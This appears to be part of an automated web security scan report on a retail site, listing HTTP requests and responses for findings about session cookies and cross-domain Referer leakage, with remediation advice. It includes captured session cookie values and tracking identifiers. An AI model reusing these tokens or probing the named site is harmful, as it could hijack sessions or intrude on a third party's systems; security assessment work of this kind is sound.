GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=P&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1874 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:44 GMT Connection: close Set-Cookie: JSESSIONID=31ED70DEA159D08B42A1E828A19B0B10; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/include_product_variant_block.jsp?productId=9403&isGenerated=true&TYPE= HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 2201 Content-Type: text/html;charset=ISO-8859-1 X-Pad: avoid browser bug Date: Sun, 26 Dec 2010 14:20:38 GMT Connection: close Set-Cookie: JSESSIONID=E8C9E89501CF5461048DF259B79AB1E1; Path=/
<!-- BUG00792 : FS: Error message is not displayed in the item page - Fix --> <div class="item-level-notification"> <span id="error-productVariantId" class="error-general error glo-tex ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 13:44:14 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; Path=/ Set-Cookie: PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; Expires=Fri, 13-Jan-2079 16:58:20 GMT; Path=/ Content-Length: 45616
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/product_availability_results_body.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 1107 Content-Type: text/html;charset=ISO-8859-1 X-Pad: avoid browser bug Date: Sun, 26 Dec 2010 16:22:36 GMT Connection: close Set-Cookie: JSESSIONID=C829FF56C2AC3DF7079DD32B7C7D7F07; Path=/
<div id="prod-avail-result-wrap">
<h1></h1>
<p><strong>Click on your choice to order</strong></p>
<ul> <li> <span><!-- Key Color [Do Not Remove] --></span> In Stock
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/request_catalog.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 25396 Date: Sun, 26 Dec 2010 14:20:35 GMT Connection: close Set-Cookie: JSESSIONID=DA5D80AE63211EC3AD084C7A8A1CEE97; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/review.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Expires: Thu, 01 Jan 1970 00:00:00 GMT Location: http://www.blair.com/user/login.jsp?dest=%2Fcatalog%2Freview.jsp&writeReview=true Content-Length: 0 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:20:43 GMT Connection: close Set-Cookie: JSESSIONID=5E9904116F4FC3107B5A1EFE235B006C; Path=/
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /catalog/search_command.cmd HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 18554 Date: Sun, 26 Dec 2010 14:20:42 GMT Connection: close Set-Cookie: JSESSIONID=BCA15F383FB8E3106F710F59A464C154; Path=/ Set-Cookie: USER_SESSION_VALIDATE_COOKIE=false; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /catalog/section.jsp?categoryId=2 HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 26979 Date: Sun, 26 Dec 2010 14:20:30 GMT Connection: close Set-Cookie: JSESSIONID=A635A3572C74EC76B02ADB9EDCA89C9A; Path=/ Set-Cookie: USER_SESSION_VALIDATE_COOKIE=false; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /checkout/basket.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 17236 Date: Sun, 26 Dec 2010 14:20:46 GMT Connection: close Set-Cookie: JSESSIONID=63EA47C6856FD09B4ABCB9832309EF6F; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content.jsp?pageName=pages_sitemap HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 20301 Date: Sun, 26 Dec 2010 14:20:50 GMT Connection: close Set-Cookie: JSESSIONID=56450EC7054BF50B5857B12DAE7B2906; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content_popup.jsp?pageName=Returns HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 4956 Content-Type: text/html;charset=ISO-8859-1 X-Pad: avoid browser bug Date: Sun, 26 Dec 2010 14:20:53 GMT Connection: close Set-Cookie: JSESSIONID=42959F8A2A42D3FD98D06524C27AAB15; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Return Policy - Blair</title> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /custserv/custserv.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 18694 Date: Sun, 26 Dec 2010 14:20:43 GMT Connection: close Set-Cookie: JSESSIONID=2809B89F4DCE54606F322EE26DAB9A51; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /section/Games-Electronics/340.uts HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:20:46 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JSESSIONID=C1D094F0516D20695AF8897ECF5F6AFB; Path=/ Set-Cookie: USER_SESSION_VALIDATE_COOKIE=false; Path=/ Content-Length: 44646
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/gift_card.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 18625 Date: Sun, 26 Dec 2010 14:20:48 GMT Connection: close Set-Cookie: JSESSIONID=41446AE1A4B891F474C3690056CF9294; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/199 ...[SNIP]...
3. Cross-domain Referer leakagepreviousnext There are 7 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
<img src="http://images.orchardbrands.com/blair/assets/product/customers/c696/P-9403/generated/P-9403_default_variant_150x150.jpg" alt="Table Top Air Hockey Game"/>
GET /catalog/product.jsp?productId=64 HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:20:30 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JSESSIONID=E110A43818DA1AA8C514D8BAEA3AAA95; Path=/ Content-Length: 51464
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt ...[SNIP]... <head> <link href="http://images.orchardbrands.com/blair/assets/images/favicon.ico" rel="shortcut icon"/> <script src="/js/product_variant.jsp" type="text/javascript"> ...[SNIP]... </script>
<link href="http://images.orchardbrands.com/blair/css/screen.css" rel="stylesheet"/> <link href="http://images.orchardbrands.com/blair/css/print.css" rel="stylesheet" media="print"/> <title> ...[SNIP]... <li><a rel="nofollow" href="http://catalogs.shoplocal.com/blair">Online Catalog</a> ...[SNIP]... <a class="u-cart-hover" id="widget-but-ucart" title="Hover to preview your cart. Click to access your cart." href="http://www.blair.com/checkout/basket.jsp"> <img title="Hover to preview your cart. Click to access your cart." src="http://images.orchardbrands.com/blair/assets/images/btn/shopping_cart.gif" alt="Hover to preview your cart. Click to access your cart."/> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=2"><img alt="Womens" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_womens_off.gif" /></a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=1"> <img alt="Mens" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_mens_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=3"> <img alt="For Your Home" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_home_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=342"> <img alt="Pet" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_pet_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=21"> <img alt="Jewelry" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_jewelry_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=4"> <img alt="Clearance" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_clearance_off.gif" /> </a> ...[SNIP]... </font> <img border="0" align="bottom" src="//images.orchardbrands.com/blair/assets/images/img/header_arrow.gif" alt="" /></font> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=CCMore"><img border="0" src="//images.orchardbrands.com/blair/assets/images/img/sidebanner_012609.gif" alt="" /></a> ...[SNIP]... <a href="/product/Table-Top-Air-Hockey-Game/9403.uts">
<img title="Click to go back to Table Top Air Hockey Game." src="http://images.orchardbrands.com/blair/assets/product/customers/c696/P-9403/generated/P-9403_default_variant_84x84.jpg" alt="Click to go back to Table Top Air Hockey Game."/>
